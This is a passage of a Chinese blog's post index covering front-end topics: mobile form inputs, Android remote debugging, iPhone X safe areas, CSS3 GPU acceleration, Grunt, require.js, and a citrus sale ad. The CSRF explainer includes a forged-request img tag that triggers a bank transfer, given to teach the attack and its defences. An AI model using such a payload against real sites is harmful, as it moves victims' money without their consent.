点击反馈还有一个比较特别的一点,既然点击事件有点慢,能不能有什么小技巧让他外部看上去不那么慢呢?其实还有一个小方法,就是设置一个点击态,比如在你点击的时候,按钮颜色变深了一点,一般人在点击按钮之后半秒钟还没收到交互反馈,一般就会再次点击,那么如果有个点击态,在用户方面,让他了解自己已经操作了。这样就不至于让人有种卡机,然后狂点按钮 解决办法 方案1:使用:active伪类 ———>缺点:滚动的时候会触发样式 方案2:使用js,添加样式,在150毫秒左右就去掉 表单输入优化在移动端输入表单的场景你一定不少见,但是为什么有些表单会让自己的手机跳出不同的输入框 电子邮件input类型1<input type=\"email\" name=\"email\" > iOS和Android浏览器都显示了轻度定制过的键盘。注意缩短的空格键的存在和iOS键盘的最底一行加入了@ 和句号(.)键。 而在Android上,标准逗号键将出现在空格键的左边,已经被一个@键替换。 URL input 类型1<input type=\"url\" name=\"url\"> iOS的URL input键盘url input 类型可以用来帮助用户输入网址。在iOS上,所有的空格键已被替换成句号(.)键和正斜杠(/)键,以及一个特殊的.com键。我的测试显示,Android键盘没有变化。 数字input类型1<input type=\"number\" name=\"number\"> 时间类型12345678//1<input type=\"date\" name=\"date\">//2<input type=\"time\" name=\"time\">//3<input type=\"datetime\" name=\"datetime\">//4<input type=\"month\" name=\"month\"> 关于兼容据我所知,桌面端对于日期时间类input的兼容并不算特别的好,火狐就有些是不支持的,包括ios和安卓的兼容能力也是中等。但是input的其他属性都还是兼容移动端不错的。","link":"/2016/04/08/移动端优化的的一些小事/"},{"title":"移动网络下的页面调试","text":"以前我们调试移动端的时候,一般都是在谷歌浏览器直接用模拟器打开,先保证所有的逻辑都跑的通。 接着我们可能就会用代理,将手机代理到本地主机,设置host,保证各个机型的兼容问题,再次检查程序的功能和逻辑。 当以上都完全跑通之后,基本也差不到哪里去了,但是一般QA还是会在移动网络下对所有功能再进行一次调试。 今天我想说的一个就是如何在移动网络下审查你的页面。 也许你会问,为什么非要移动网络。不知道你们注意过没有,打开http网页的时候,经常会出现一些弹框或者流量球一样的东西,这时你就应该开始反应过来,这应该属于运营商对你页面插入的代码,也叫做运营商劫持。 哦,忘了说,只能android 需要什么 pc端安装最新的chrome(54+) 手机端安装最新的chrome (Android机) (54+) USB连接线 Tip:之前的的chrome如果要实现这种调试需要安装一个ADB插件(需要FQ) 但是最新的chrome已经直接支持对Android的识别 所以也不用再在chrome上安装ADB插件了 但需要下载最新的chrome 假设你准备好了 USB设置 在你的手机里打开”设置”->”开发人员工具”->”USB调试” 打开USB调试。 假设你已经将手机设置为”USB调试”打开的状态 将手机连接到电脑 手机会弹出一串连接码,并询问你是否链接,点击确定 打开电脑的chrome 在地址栏输入 chrome://inspect 选中 Discover USB devices 可以检测到你的设备 4.打开手机上的chrome 上图可以看到手机上chrome打开的页面 此时我手机上打开过一个网页 6.点击inspect 7.可以点击弹出的审查元素框右上角的方形小图标切换到视图模式 这时会把你手机打开的页面拉到pc上显示","link":"/2016/09/18/移动网络下的页面调试/"},{"title":"自家种的沃柑小广告","text":"HELLO EV8D! 家里人历经三年时间,种的第一批沃柑终于出炉啦! 目前只在微店和惠农网上挂着,28号正式开售 有兴趣的小伙伴可以买来试试哟~~~ 本人亲口尝试过,特别好吃。 优点多多!","link":"/2018/12/26/自家种的沃柑小广告/"},{"title":"适配iPhoneX你要知道的tips","text":"话说在以前,做移动端的页面相对没那么多,就比较少去注意到iPhone X的适配 最近比较多H5活动页需要完成,自然而然碰上了X的种种问题。 iPhoneX的出现将手机的颜值带上了一个新的高度,它取消了物理按键,改成了底部的小黑条,但是这样的改动给开发者适配移动端又增加了难度。 1.安全区域在iPhoneX发布后,现在国内外几乎新一代的都是具有边缘屏幕的手机。 这些手机和普通手机在外观上无外乎做了三个改动:圆角(corners)、刘海(sensor housing)和小黑条(Home Indicator)。为了适配这些手机,安全区域这个概念变诞生了: 安全区域就是一个不受上面三个效果的可视窗口范围。 为了保证页面的显示效果,我们必须把页面限制在安全范围内,但是不影响整体效果。 所以这里遇到了一个问题,我在做全屏滚动的H5页面的时候,会出现,小黑条Home Indicator附近没有页面内容,是白色的。这无疑就是一个bug。 注意底部 viewport-fitviewport-fit是专门为了适配iPhoneX而诞生的一个属性,它用于限制网页如何在安全区域内进行展示。 contain: 可视窗口完全包含网页内容cover:网页内容完全覆盖可视窗口默认情况下或者设置为auto和contain效果相同。 env、constant我们需要将顶部和底部合理的摆放在安全区域内,iOS11新增了两个CSS函数env、constant,用于设定安全区域与边界的距离。函数内部可以是四个常量: -area-inset-left:安全区域距离左边边界距离 safe-area-inset-right:安全区域距离右边边界距离 safe-area-inset-top:安全区域距离顶部边界距离 safe-area-inset-bottom:安全区域距离底部边界距离 注意:我们必须指定viweport-fit后才能使用这两个函数:1<meta name="viewport" content="viewport-fit=cover"> constant在iOS < 11.2的版本中生效,env在iOS >= 11.2的版本中生效,这意味着我们往往要同时设置他们,将页面限制在安全区域内:1234body { padding-bottom: constant(safe-area-inset-bottom); padding-bottom: env(safe-area-inset-bottom);} 当使用底部固定导航栏时,我们要为他们设置padding值(fixed):1234{ padding-bottom: constant(safe-area-inset-bottom); padding-bottom: env(safe-area-inset-bottom);} 参考文档关于移动端适配,你必须要知道的","link":"/2019/05/27/适配iPhoneX你要知道的tips/"},{"title":"那些年我们懵逼的安全知识——CSRF","text":"上次我们提到了XSS攻击,并说了两种XSS攻击类型,分别是反射型和存储型,并提出了一系列的解决方法。但是同为程序员的攻击者当然也不会那么轻易被打败,他们很快又找到了一种方式————CSRF惯例,首先先将定义搬出来 什么是CSRF CSRF(Cross-site request forgery),中文名称:跨站请求伪造,缩写为:CSRF/XSRF 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。[from 维基百科] 看到官方定义我们应该会有些疑问 能做什么 伪造什么 怎么伪造 当你了解完这些就明白它与XSS的基本不同点了 能做什么简单的说,攻击者可以盗用你的登陆信息,以你的身份模拟发送请求。通过一些手段,攻击者就能使用户去执行攻击者的操作。 例如,当用户登录网络银行去查看其存款余额,在他没有退出时,就点击了一个QQ好友发来的链接,那么该用户银行帐户中的资金就有可能被转移到攻击者指定的帐户中。1234<!-- 比如银行的get请求长这样 -->http://www.mybank.com/Transfer.php?toBankId=11&money=1000<!-- 然后坏人想办法发给你一个链接 --><img src='http://www.mybank.com/Transfer.php?toBankId=11&money=1000'> 你最终点击了这个链接,结果就是,你在刚登陆了银行账户的情况下,不明真相的被窃取了1000元到骗纸的账户去了 伪造什么我们可以通过刚刚那个简单的例子发现,其实它并不像XSS那样,要运行脚本才能进行攻击,它也不需要注入什么东西,甚至不需要获取你的cookie到他那边。 CSRF攻击主要是因为Web的隐式身份验证机制,Web的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。 简言之,攻击者的最后的目的就是,模仿你本人,给服务端发送请求信息。由于是你自己客户端这边发起的请求,所以服务端以为是你本人的正经请求,所以就帮你处理了,最后造成悲剧。 如何伪造我们首先要知道,一个`CSRF攻击是如何进行的。 只要两步就可以简单的完成CSRF攻击: 1. 登入受信任网站A,并在本地生成cookie。 2. 在不登出A的情况下,访问危险网站B。 所谓的不登出A,也不是完全是登出了A就安全的,因为你不清楚你的本地cookie是不是关闭了就会马上过期。接着,危险的网站B,也不一定是攻击者的网站,也可能是可信任的网站,但是有漏洞,然后被人攻击。 在写博客的过程中,看见这样一条新闻 所以说,在遇到CSRF攻击时,将对终端用户的数据和操作指令构成严重的威胁;当受攻击的终端用户具有管理员帐户的时候,CSRF攻击将危及整个网站的安全。 如何预防一般的防御方法有以下几种 为用户生成一个唯一的cookie token所有表单都包含同一个伪随机值——也就是所以当你请求的时候,表单会包含一个随机参数。因为我们之前强调,CSRF的攻击者并不知道被攻击者的cookie,所以他并没有办法伪造表单的数据,所以这是比较简单的方法 但是这个有个缺点,如果用户的cookie之前被XSS攻击盗取呢,好像也不是100%安全啊。 验证码相信大家都有在表单上面输入验证码的经历,通过表单的验证码可以很容易判断是不是伪造了请求,而且防御效果还是很好的。但是有些东西相信大家深有体会的,没错,就是验证码的用户体验是在是不咋滴。 不同的表单包含一个不同的伪随机值这个随机值token是在前端生成的,通过一系列算法,为每个表单附上不同的随机值。原来是用作防止表单多次重复提交。现在可以稍微修改用作随机添加的token值。而且不需要太担心算法被破解。因为暴力破解该串大概需要2的11次方时间。 主要的实现方法可以参考这篇文章 https能否抵御CSRF答案是 : 不能一开始我也以为是可以的,但是其实https是一个加密协议,并不能阻止他攻击的必要两个步骤(1. 登入受信任网站A,并在本地生成cookie。2. 在不登出A的情况下,访问危险网站B) 所以使用https并不能有效的阻止CSRF","link":"/2016/03/30/那些年我们懵逼的安全知识之CSRF/"},{"title":"CSS3开启硬件加速及利弊","text":"最近了解了一下用css3开启硬件加速的这个功能,不得不感叹浏览器这些东西太神奇了,要不是师兄提起,我根本就不知道居然有这种东西。所以还是要提高一下自己的信息来源渠道的。 又把自己原来的博客一篇文章搬了过来zyy 巴拉巴拉了一下,下面我们正式来看下css3是如何开启硬件加速的: 其实,所谓的加速,就是浏览器中用css开启硬件加速,使GPU (Graphics Processing Unit) 发挥功能的一系列活动。 (写在前面重点之中的重点,建议在动画或者是使用比较多变化的网页使用这个技巧,如果是一般普通网页,建议不要使用,或者是慎用。这个我后面会提到原因) 举个例子: CSS的 animations, transforms 以及 transitions 不会自动开启GPU加速,而是由浏览器的缓慢的软件渲染引擎来执行。为了性能,这个时候或许你就需要开启硬件加速功能。那我们怎样才可以切换到GPU模式呢,很多浏览器提供了某些触发的CSS规则。 Chrome, FireFox, Safari, IE9+和最新版本的Opera都支持硬件加速,当它们检测到页面中某个DOM元素应用了某些CSS规则时就会开启,最显著的特征的元素的3D变换。 哪些CSS规则12345.example{ -webkit-transform: translate3d(250px,250px,250px) rotate3d(250px,250px,250px,-120deg) scale3d(0.5, 0.5, 0.5);} 如果我们并没有用到这些功能呢?没有关系啊,我们可以设置一个空值,也就是让其在页面的效果是—— 无效果的,这样就欺骗了浏览器,让他开启了硬件加速。 12345678.example { -webkit-transform: translateZ(0); -moz-transform: translateZ(0); -ms-transform: translateZ(0); -o-transform: translateZ(0); transform: translateZ(0); /* Other transform properties here */} 这个时候或许你又可能会发现有点问题,页面可能会出现闪烁的效果,(可能是浏览器自带的bug?有待研究,如果有知道的朋友欢迎科普)那么我们可以用一下方式来修复:123456789101112.example { -webkit-backface-visibility: hidden; -moz-backface-visibility: hidden; -ms-backface-visibility: hidden; backface-visibility: hidden; -webkit-perspective: 1000; -moz-perspective: 1000; -ms-perspective: 1000; perspective: 1000; /* Other transform properties here */} 如果是webkit内核,还有一种方式可以解决: 1234567.example { -webkit-transform: translate3d(0, 0, 0); -moz-transform: translate3d(0, 0, 0); -ms-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); /* Other transform properties here */} GPU固然加速了网页,但是同时它增加了内存的使用,实际上是可能会导致严重的性能问题,如果是移动设备,它会减少移动端设备的电池寿命。 CSS3硬件加速也有坑!!!在Webkit内核的浏览器中,硬件加速会把需要渲染的元素放到特定的『Composited Layer』中,表示放到了一个新的『复合层(composited layer)』中渲染。 那我们怎么知道如何才能知道是哪部分被放到了复合层呢? 在chrome的控制台可以这样开启: 打开了,那么我们要怎么判断呢? 此处附上一个地址,是一个css3动画库(animate.css)打开它~~ 这个时候他是这样子的,然后选择一个动画 这个时候,Animate.css标题出现了不一样颜色的框框!!!!里面分两种颜色:蓝色和黄色 蓝色的细线是浏览器渲染时候的『瓦片』,浏览器绘制页面的时候只会绘制可视区域一定范围内的瓦片,以节省性能开销,而黄色的边框框起来的,就代表了这个元素被放到特殊的复合层中渲染,跟主文档不在一个层中 下面我引用了一个大神的文章:出处 戳这里 (这个大神看自己的项目,发现基本所有都用了3D加速,) 简化代码,很快就发现,原来罪魁祸首在这里: 头部的那个轮播动画元素的存在居然会导致下面所有相对和绝对定位的元素都被放到复合层中查了一些 资料 :层创建标准 什么情况下能使元素获得自己的层?虽然 Chrome 的启发式方法(heuristic)随着时间在不断发展进步,但是从目前来说,满足以下任意情况便会创建层: 3D 或透视变换(perspective transform) CSS 属性 使用加速视频解码的 元素 拥有 3D (WebGL) 上下文或加速的 2D 上下文的 元素 混合插件(如 Flash) 对自己的 opacity 做 CSS 动画或使用一个动画 webkit 变换的元素 拥有加速 CSS 过滤器的元素 元素有一个包含复合层的后代节点(换句话说,就是一个元素拥有一个子元素,该子元素在自己的层里) 元素有一个 z-index 较低且包含一个复合层的兄弟元素(换句话说就是该元素在复合层上面渲染) 主要是最后一条,我觉得它的中文翻译不是很准确,原文其实是: Element has a sibling with a lower z-index which has a compositing layer (in other words the it’s rendered on top of a composited layer) 这句话的意思是,如果有一个元素,它的兄弟元素在复合层中渲染,而这个兄弟元素的z-index比较小,那么这个元素(不管是不是应用了硬件加速样式)也会被放到复合层中。 最可怕的是,浏览器有可能给复合层之后的所有相对或绝对定位的元素都创建一个复合层来渲染,于是就有了上面我厂项目截图的那种效果。我们之前一直追查为什么这个页面多了一个list之后在安卓下滚动会变得非常卡,最终被确定就是这个问题了! 于是乎我写了一个页面,让大家看看这东西到底有多大威力:亲测差距非常大,建议手机上打开 我在上面这个页面中放置了一个h1标题,应用了translate3d动画,使得它被放到composited layer中渲染,然后在这个元素后面创建了2000个list,每个list中都有一个图片,一个标题和一个日期显示,其中图片和日期显示是绝对定位,父容器li是相对定位,然后,各位可以按照前述的说明打开chrome的『show composited layer borders』选项看看这个页面的内容复合层分布: 然后我写了一个简单的滚动条移动操作:setInterval(‘document.body.scrollTop++’, 0);然后用timeline抓一下页面性能: 一次『Composite Layers』的计算居然要 96.206 ms !!这还是在我的mac系统上哦,手机上真的会卡出翔。 我在页面上放置了一个开关『为动画元素设置z-index』,这个checkbook点击之后,会用js给那个动画的h1元素加 position:relative 和 z-index: 1 ,这种做法的原理是人为提升动画元素的z-index,让浏览器知道这个元素的层排序,就不会很傻逼的把其他z-index比它高的元素也弄到复合层中了,看看这个效果: 仅仅给动画元素设置一个高一些的z-index,就能解决这种无厘头增加复合层的问题。再用滚动条移动函数抓一下页面性能: 完全恢复正常了! 大家可以用支持『硬件加速』的『安卓』手机浏览器测试上述页面,给动画元素加z-index前后的性能差距非常明显。 不过也不是所有浏览器都有这个问题,我在mac上的Safari、firefox都没有明显差异,安卓手机上的QQ浏览器好像也正常,猎豹、UC、欧朋、webview等浏览器差距明显。 好了最后总结一下: 使用3D硬件加速提升动画性能时,最好给元素增加一个z-index属性,人为干扰复合层的排序,可以有效减少chrome创建不必要的复合层,提升渲染性能,移动端优化效果尤为明显。 大家可以现在就排查一下这类问题,尤其是用了轮播、动画loading的页面,出现这问题很常见。另外推荐在追查性能问题的时候打开『show composited layer borders』选项,如果页面有很多黄色的框肯定是不对的。","link":"/2016/04/16/CSS3开启硬件加速及利弊/"},{"title":"Grunt入门","text":"咳咳,其实这篇文章是我从老博客搬过来滴,来复习一下,顺便来充实一下我的后宫~~老博客地址 首先,Grunt 依赖 Node.js 所以先要安装node.这里附上node的安装方法 安装 Grunt 实际上,安装的并不是 Grunt,而是 Grunt-cli,也就是命令行的 Grunt,这样你就可以使用 grunt 命令来执行某个项目中的 Gruntfile.js 中定义的 task 。但是要注意,Grunt-cli 只是一个命令行工具,用来执行,而不是 Grunt 这个工具本身。 方法如下:1npm install -g grunt-cli 可能npm在中国比较慢,可以加上一个淘宝的镜像:–registry=https://registry.npm.taobao.org ,即输入:1npm install -g grunt-cli --registry=https://registry.npm.taobao.org 控制台出现了这个的时候代表已经安装成功了。(需要注意,因为使用 -g 命令会安装到全局,可能会涉及到系统敏感目录,如果用 Windows 的话,可能需要你用管理员权限,如果用 OS X / Linux 的话,你可能需要加上 sudo 命令。) 编写package.json 在项目文件夹下面,打开命令行,输入指令1npm init 之后就出来很多信息,然后开始填写项目名称,填写好了之后回车即可。或者一路回车下去。这时就会生成一个文件,叫package.json 里面的信息是自动生成的: 1234567891011{ \"name\": \"node\", \"version\": \"1.0.0\", \"description\": \"\", \"main\": \"index.js\", \"scripts\": { \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\" }, \"author\": \"\", \"license\": \"ISC\" } 接下来你就可以在编辑器里面修改你的 package.json的代码了 Grunt 和插件可是我们现在还是没使用到grunt和它的插件,我们日常的项目有什么东西是需要的呢?比如:检查每个 JS 文件语法、合并两个 JS 文件、将合并后的 JS 文件压缩、将 SCSS 文件编译、新建一个本地服务器监听文件变动自动刷新 HTML 文件。 就现在的这个示例项目而言,我打算让 Grunt 帮忙实现下面几个功能: 差不多就是这些,根据这些任务需求,需要用到:合并文件:grunt-contrib-concat语法检查:grunt-contrib-jshintScss 编译:grunt-contrib-sass压缩文件:grunt-contrib-uglify监听文件变动:grunt-contrib-watch建立本地服务器:grunt-contrib-connect它们的命名和文档都很规范,因为这些是官方提供的比较常用的插件。这些插件同时都是 NPM 管理的包,比如grunt-contrib-concat - npm 你也可以在这上面看到用法等。 下面我们就要在这个项目中安装这些插件,执行命令:1npm install grunt --save-dev 表示通过 npm 安装了 grunt 到当前项目,同时加上了 —save-dev 参数,表示会把刚安装的东西添加到 package.json 文件中。不信你打开 package.json 文件看下,是不是多了123\"devDependencies\": { \"grunt\": \"^0.4.5\"} 没错,这个的意思就是当前项目依赖 grunt,后面是它的版本,咱们不用管。如果安装的时候没有添加 —save-dev 参数,这里就不会出现了,你需要自行添加上去。 下面我们来安装 Grunt 的插件,当然,不需要一个个的安装,太麻烦了,我们可以:1npm install --save-dev grunt-contrib-concat grunt-contrib-jshint grunt-contrib-sass grunt-contrib-uglify grunt-contrib-watch grunt-contrib-connect 这时你的package.json文件就变成了这样:12345678910111213141516171819202122232425 { \"name\": \"zyy_node\", \"version\": \"1.0.0\", \"description\": \"for zyy to learn grunt\", \"main\": \"index.js\", \"dependencies\": { \"grunt-contrib-concat\": \"^0.5.1\", \"grunt\": \"^0.4.5\", \"grunt-contrib-connect\": \"^0.11.2\", \"grunt-contrib-sass\": \"^0.9.2\", \"grunt-contrib-uglify\": \"^0.10.0\", \"grunt-contrib-watch\": \"^0.6.1\" }, \"devDependencies\": { \"grunt\": \"^0.4.5\" }, \"scripts\": { \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\" }, \"keywords\": [ \"grunt\" ], \"author\": \"zyy\", \"license\": \"MIT\"} 配 Gruntfile.js Gruntfile.js可以写任意的 JS 代码,比如声明一个 对象 来存储一会要写任务的参数,或者是一个变量当作开关等等。123module.exports = function(grunt) { //所有的代码要包裹在里面}; 按照官网,里面的主要是为三个部分: 初始任务配置 插件加载 任务注册 顾名思义,这三块代码,任务配置代码就是调用插件配置一下要执行的任务和实现的功能,插件加载代码就是把需要用到的插件加载进来,任务注册代码就是注册一个 task,里面包含刚在前面编写的任务配置代码。 这样,就可以用 grunt 来执行注册的一个 task 从而根据任务配置代码调用需要的插件来执行相应的操作。 下面来分别看一下这三块代码的写法。 任务配置代码123456789101112131415161718192021222324252627282930313233343536module.exports=function(grunt){ grunt.initConfig({ pkg: grunt.file.readJSON('package.json'), //功能是读取 package.json 文件 uglify: { //新建了一个基于 uglify 的任务 build,功能是把 src/<%= pkg.name %>.js 压缩输出 build/<%= pkg.name %>.min.js options: { banner: '/*! <%= pkg.name %> <%= grunt.template.today(\"yyyy-mm-dd\") %> */\\n' }, // <%= pkg.name %> 来输出项目名称) build: { src: 'src/<%= pkg.name %>.js', // 内容是把 XX.js 压缩输出到 xx.min.js 里面 dest: 'build/<%= pkg.name %>.min.js' } //如果你需要更多压缩任务,也可以参照 build 多写几个任务 } less:{ //这里的配置是根据less插件的配置文档来配置的 css:{ files:{ //前面是要生成的css,后面是要编译的sass 'src/index.css':'src/index.sass' } } }, watch: { less:{ files:['src/*.less'], tasks:['less'] } }//这里的配置是根据watch插件的配置文档来配置的 }); grunt.loadNpmTasks('grunt-contrib-sass'); //监控 grunt.loadNpmTasks('grunt-contrib-watch'); grunt.registerTask('default',['watch']); } 编译sass123456789101112131415161718192021222324252627282930/* * @Author: zyy* @Date: 2015-11-05 12:33:50* @Last Modified by: Marte* @Last Modified time: 2015-11-05 12:38:57*/module.exports = function(grunt) { var sassStyle = 'expanded'; grunt.initConfig({ pkg: grunt.file.readJSON('package.json'), sass: { output : { options: { style: sassStyle }, files: { 'try.css': 'try.scss' } } } }); grunt.loadNpmTasks('grunt-contrib-sass'); grunt.registerTask('outputcss',['sass']); grunt.registerTask('default');}; 然后在目录下打开控制台:,执行一下 grunt 命令,结果报错 undefined,没错,因为我们的 default task 里面没有定义任何任务,然后执行 grunt outputcss 命令,提示编译 Scss 文件成功。(重要提醒,首先你的电脑得装有sass,安装教程回到目录,发现这样就多了两个文件了 合并文件合并文件使用的是 grunt-contrib-concat ,将自己的js文件合并为一个。1234567891011121314151617181920212223242526272829303132333435module.exports = function(grunt) { var sassStyle = 'expanded'; grunt.initConfig({ pkg: grunt.file.readJSON('package.json'), sass: { output : { options: { style: sassStyle }, files: { 'try.css': 'try.scss' } } }, concat: { options: { separator: '', //两个文件直接的分隔符,可以为 \";\" 也可以什么都不填 }, dist: { src: ['Storage.js', 'bodyOnload.js'], //将我的文件和别的小伙伴的文件合并到了一起 dest: 'all.js', //变成了一个文件 }, }, }); grunt.loadNpmTasks('grunt-contrib-sass'); grunt.loadNpmTasks('grunt-contrib-concat'); grunt.registerTask('outputcss',['sass']); grunt.registerTask('concatjs',['concat']); grunt.registerTask('default'); 检查语法 grunt-contrib-jshint压缩 grunt-contrib-uglify语法检查相对严格,对于一般的js漏掉 “;”分号,就会报错,或者 if( a == 0 )这类也会被报错,我们在写代码的时候应该要规范一点,写成 if(a === 0)。1234567891011121314151617181920212223242526272829303132333435363738394041424344454647module.exports = function(grunt) { var sassStyle = 'expanded'; grunt.initConfig({ pkg: grunt.file.readJSON('package.json'), sass: { output : { options: { style: sassStyle }, files: { 'try.css': 'try.scss' } } }, concat: { options: { separator: '', }, dist: { src: ['Storage.js', 'bodyOnload.js'], dest: 'all.js', }, }, uglify: { compressjs: { files: { 'all.min.js': ['all.js'] //将all.js压缩成all.min.js } } }, jshint: { all: ['all.js'] //此处语法严格,也有没那么严格的模式,可去管网查 }, }); grunt.loadNpmTasks('grunt-contrib-sass'); grunt.loadNpmTasks('grunt-contrib-concat'); grunt.loadNpmTasks('grunt-contrib-jshint'); grunt.loadNpmTasks('grunt-contrib-uglify'); grunt.registerTask('outputcss',['sass']); grunt.registerTask('concatjs',['concat']); grunt.registerTask('compressjs',['concat','jshint','uglify']); grunt.registerTask('default');}; 当然,你可以用grunt-contrib-watch实时监控变化 和grunt-contrib-connect 来实时刷新窗口 (前提是你按了Crtl+s) 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485module.exports = function(grunt) { var sassStyle = 'expanded'; grunt.initConfig({ pkg: grunt.file.readJSON('package.json'), sass: { output : { options: { style: sassStyle }, files: { 'try.css': 'try.scss' } } }, concat: { options: { separator: '', }, dist: { src: ['Storage.js', 'bodyOnload.js'], dest: 'all.js', }, }, uglify: { compressjs: { files: { 'all.min.js': ['all.js'] } } }, jshint: { all: ['all.js'] }, watch: { scripts: { files: ['Storage.js','bodyOnload.js'], tasks: ['concat','jshint','uglify'] }, sass: { files: ['try.scss'], tasks: ['sass'] }, livereload: { options: { livereload: '<%= connect.options.livereload %>' }, files: [ 'hello.html', 'try.css', 'all.min.js' ] } }, connect: { options: { port: 9000, open: true, livereload: 35729, // Change this to '0.0.0.0' to access the server from outside hostname: 'localhost' }, server: { options: { port: 9001, base: './' } } } }); grunt.loadNpmTasks('grunt-contrib-sass'); grunt.loadNpmTasks('grunt-contrib-concat'); grunt.loadNpmTasks('grunt-contrib-jshint'); grunt.loadNpmTasks('grunt-contrib-uglify'); grunt.loadNpmTasks('grunt-contrib-watch'); grunt.loadNpmTasks('grunt-contrib-connect'); grunt.registerTask('outputcss',['sass']); grunt.registerTask('concatjs',['concat']); grunt.registerTask('compressjs',['concat','jshint','uglify']); grunt.registerTask('watchit',['sass','concat','jshint','uglify','connect','watch']); grunt.registerTask('default');}; 最后的控制台 最常用的就这几个插件,在各种大神博客的帮助下,终于入门了,以后会继续去网站上挖掘一些自己需要的东西。稀稀拉拉写了三天多,希望能够给到grunt小白一个帮助吧","link":"/2016/01/29/Grunt入门/"},{"title":"模块化(三):学习require.js","text":"在第一篇文章里面提到,我们在写代码的过程中,难免会遇到要加载很多的js文件,这段代码依次加载多个js文件。 123456789101112131415<title>城市环境监测系统</title>......//省略css<script src=\"js/jquery-1.10.2.min.js\" type=\"text/javascript\"></script><script src=\"bootstrap/js/bootstrap.min.js\" type=\"text/javascript\" charset=\"utf-8\"></script><!-- 用了来显示最上角的数据文件 --><script src=\"API/WSNRTConnect.js\" type=\"text/javascript\" charset=\"utf-8\"></script><!-- 绘图 --><script src=\"highstock/highstock.js\" type=\"text/javascript\" charset=\"utf-8\"></script><script src=\"highstock/modules/exporting.js\" type=\"text/javascript\" charset=\"utf-8\"></script><!-- 获取历史数据 --><script src=\"API/WSNHistory.js\" type=\"text/javascript\" charset=\"utf-8\"></script><!-- 调取动态最上角和下拉框数据 --><script src=\"API/history-1.0.min.js\" type=\"text/javascript\" charset=\"utf-8\"></script> <!-- 存放用户密钥之类的信息 --><script src=\"js/config.js\" type=\"text/javascript\" charset=\"gb2312\"></script> 加载的文件多并最重要的,它在加载的过程会停止浏览器对网页的渲染,文件与文件直接的关联和依赖也由于js文件增多而变得难以管理。所以便有了require.js require.js的诞生,就是为了解决这两个问题: (1)实现js文件的异步加载,避免网页失去响应; (2)管理模块之间的依赖性,便于代码的编写和维护。 如何使用 首先当然是先去官方网站下载,requireJS文件比较小,大约只有14K,所以我们可以手动的将其复制下来。 然后在页面上将其引用。1<script src=\"js/require.js\" type=\"text/javascript\"></script> 有人可能会想到,加载这个文件,也可能造成网页失去响应。解决办法有两个: 把它放在网页底部加载, 如下 1<script src=\"js/require.js\" defer async=\"true\" ></script> async属性表明这个文件需要异步加载,避免网页失去响应。IE不支持这个属性,只支持defer,所以把defer也写上。 实战加载require.js以后,下一步就要加载我们自己的代码了。我们需要有个主文件,用来放要加载文件的信息,也可以在里面写你要实现的功能,我们定义主文件为main.js1<script src=\"js/require.js\" data-main=\"main\" ></script> 定义了data-main(主模块)之后,加载完requireJS之后就会找到data-main=’main’对应的js,由于require.js默认的文件后缀名是js,所以可以把main.js简写成main,所有代码都从这儿开始运行。(记住,后面所有的文件都不需要加’.js’,否则会报错) 主模块的写法1.main最简单的测试12// main.jsalert(\"加载成功!\"); 2.加载一个app.js模块1234// main.jsrequire(['app'],function(app){ app.initialize();}); 3.加载多个模块123require(['jquery', 'underscore', 'backbone'], function ($, _, Backbone){ // some code here}); require()函数接受两个参数。第一个参数是一个数组,表示所依赖的模块,上例就是[‘app’],即主模块依赖这三个模块;第二个参数是一个回调函数,当前面指定的模块都加载成功后,它将被调用。加载的模块会以参数形式传入该函数,从而在回调函数内部就可以使用这些模块。 浏览器不会失去响应;它指定的回调函数,只有前面的模块都加载成功后,才会运行,解决了依赖性的问题。 require.js会先加载jQuery、underscore和backbone,然后再运行回调函数。主模块的代码就写在回调函数中。 require.config()方法我们可以对模块的加载行为进行自定义。require.config()就写在主模块(main.js)的头部。参数就是一个对象,这个对象的paths属性指定各个模块的加载路径。逐一指定路径。12345678910111213 require.config({ paths:{ jquery :\"script/jquery-1.9.1.min\", jqmconfig:'plugin/jqm.config', jqm:'script/jquery.mobile-1.4.5', underscore :'script/underscore', backbone:'script/backbone', text:'plugin/text.js', plugin:'plugin', templates:'templates', modules:'../' }}); 直接改变基目录(baseUrl)123456require.config({ baseUrl: \"js/lib\", paths: { ... }}); 如果某个模块在另一台主机上,也可以直接指定它的网址,比如:12345require.config({ paths: { \"jquery\": \"https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min\" }}); require.js要求,每个模块是一个单独的js文件。这样的话,如果加载多个模块,就会发出多次HTTP请求,会影响网页的加载速度。因此,require.js提供了一个优化工具,当模块部署完毕以后,可以用这个工具将多个模块合并在一个文件中,减少HTTP请求数。 with AMDrequireJS是采用AMD规范来定义的,所以要安装规范来写代码。AMD规范详情戳其实就是模块必须采用特定的define()函数来定义。如果一个模块不依赖其他模块,那么可以直接定义在define()函数之中假定有一个math.js文件,它定义了一个math模块。那么,math.js就要这样写:123456789// math.jsdefine(function (){ var add = function (x,y){ return x+y; }; return { add: add };}); 加载方法如下:1234// main.jsrequire(['math'], function (math){ console.log(math.add(1,1));}); 如果这个模块还依赖其他模块,那么define()函数的第一个参数,必须是一个数组,指明该模块的依赖性12345678define(['jquery',\"underscore\",'backbone',],function($, _, Backbone){ var init = function(){ ... }; return { initialize:init }}); 当require()函数加载上面这个模块的时候,就会先加载jquery,underscore,backbone文件。define([],function(){ }) function里面是加载模块之后的回调函数。 加载非规范的模块requireJS除了能加载规范化的模块,也可以加载非规范的模块 这样的模块在用require()加载之前,要先用require.config()方法,定义它们的一些特征。举例来说,underscore和backbone这两个库,都没有采用AMD规范编写。如果要加载它们的话,必须先定义它们的特征。1234567891011require.config({ shim: { 'underscore':{ exports: '_' }, 'backbone': { deps: ['underscore', 'jquery'], exports: 'Backbone' } }}); shim属性,专门用来配置不兼容的模块具体来说,每个模块要定义 exports值(输出的变量名),表明这个模块外部调用时的名称; deps数组,表明该模块的依赖性。 比如,jQuery的插件可以这样定义: 123456shim: { 'jquery.scroll': { deps: ['jquery'], exports: 'jQuery.fn.scroll' }} require.js插件require.js还提供一系列插件,实现一些特定的功能。domready插件,可以让回调函数在页面DOM结构加载完成后再运行。123require(['domready!'], function (doc){ // called once the 